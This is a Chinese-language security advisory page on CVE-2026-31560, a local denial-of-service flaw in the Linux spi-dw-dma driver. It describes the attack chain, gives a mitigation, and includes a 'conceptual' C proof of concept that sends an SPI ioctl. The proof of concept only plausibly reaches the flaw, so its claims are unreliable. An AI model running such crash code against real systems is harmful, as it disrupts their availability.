IPBUF安全漏洞报告
English
CVE-2026-31560 CVSS 5.5 中危

CVE-2026-31560 Linux内核spi-dw-dma驱动拒绝服务漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31560
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSSPI DriverNull Pointer Dereference本地漏洞

漏洞概述

Linux内核中的spi-dw-dma驱动程序存在一个安全漏洞。当驱动程序等待DMA事务完成时,如果发生错误,设备可能处于无当前消息的状态。由于代码在打印错误日志时未正确处理此异常情况,直接尝试访问不存在的消息结构,导致系统发生崩溃。该漏洞允许本地低权限攻击者触发内核空指针解引用,从而造成系统拒绝服务,严重影响系统可用性。

技术细节

该漏洞位于Linux内核的`drivers/spi/spi-dw-dma.c`驱动文件中,属于一种典型的空指针解引用漏洞。在SPI DMA传输过程中,若发生传输错误,驱动程序会调用错误处理流程。在特定异常路径下,当系统尝试等待事务完成(wait finish transaction)时,当前的消息上下文可能已经被清空或从未正确初始化。原始代码在打印错误日志时,试图从可能为空的`msg`结构体中提取设备信息进行输出,这直接触发了内核异常,导致系统崩溃。攻击者需具备本地低权限(PR:L),通过向SPI控制器发送特定的恶意指令序列或利用用户空间接口触发异常条件,即可使内核宕机,造成拒绝服务(DoS)。修复方案将日志打印源从`msg`改为`struct spi_controller`中的`dev`,确保在消息无效时仍能安全引用控制器设备。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者获取目标系统的本地低权限用户访问权限。
STEP 2
步骤2:识别SPI设备
攻击者探测系统,确认存在易受攻击的spi-dw-dma控制器设备节点(如/dev/spidevX.X)。
STEP 3
步骤3:触发异常条件
攻击者通过ioctl系统调用发送特制的SPI传输请求,诱导驱动进入DMA传输错误状态。
STEP 4
步骤4:触发空指针解引用
驱动程序在处理错误等待完成时,尝试打印日志,访问了已被释放的空消息指针。
STEP 5
步骤5:系统崩溃
触发内核恐慌,导致系统重启或停止响应,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31560: Linux Kernel spi-dw-dma Crash * This is a conceptual PoC to trigger the error path. * Compile: gcc -o poc_spi poc_spi.c */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/spi/spidev.h> int main() { int fd; const char *device = "/dev/spidev0.0"; // Open the SPI device fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open SPI device"); return 1; } // Setup a transfer that might induce the error condition // Specific hardware manipulation is required to trigger the exact path struct spi_ioc_transfer xfer; memset(&xfer, 0, sizeof(xfer)); // Set arbitrary length and speed xfer.len = 1024; xfer.speed_hz = 1000000; xfer.bits_per_word = 8; // Attempt the transfer // On vulnerable systems with specific hardware states, // this may trigger the wait_finish_trans error path. int ret = ioctl(fd, SPI_IOC_MESSAGE(1), &xfer); if (ret < 0) { perror("SPI ioctl failed"); } close(fd); printf("PoC executed. Check kernel logs for crash.\n"); return 0; }

影响范围

Linux Kernel (修复补丁之前)

防御指南

临时缓解措施
建议在未升级内核前,通过修改udev规则或文件权限,严格限制普通用户对/dev/spidev*设备的访问,仅允许受信任的组件或用户进行交互,从而降低被本地利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表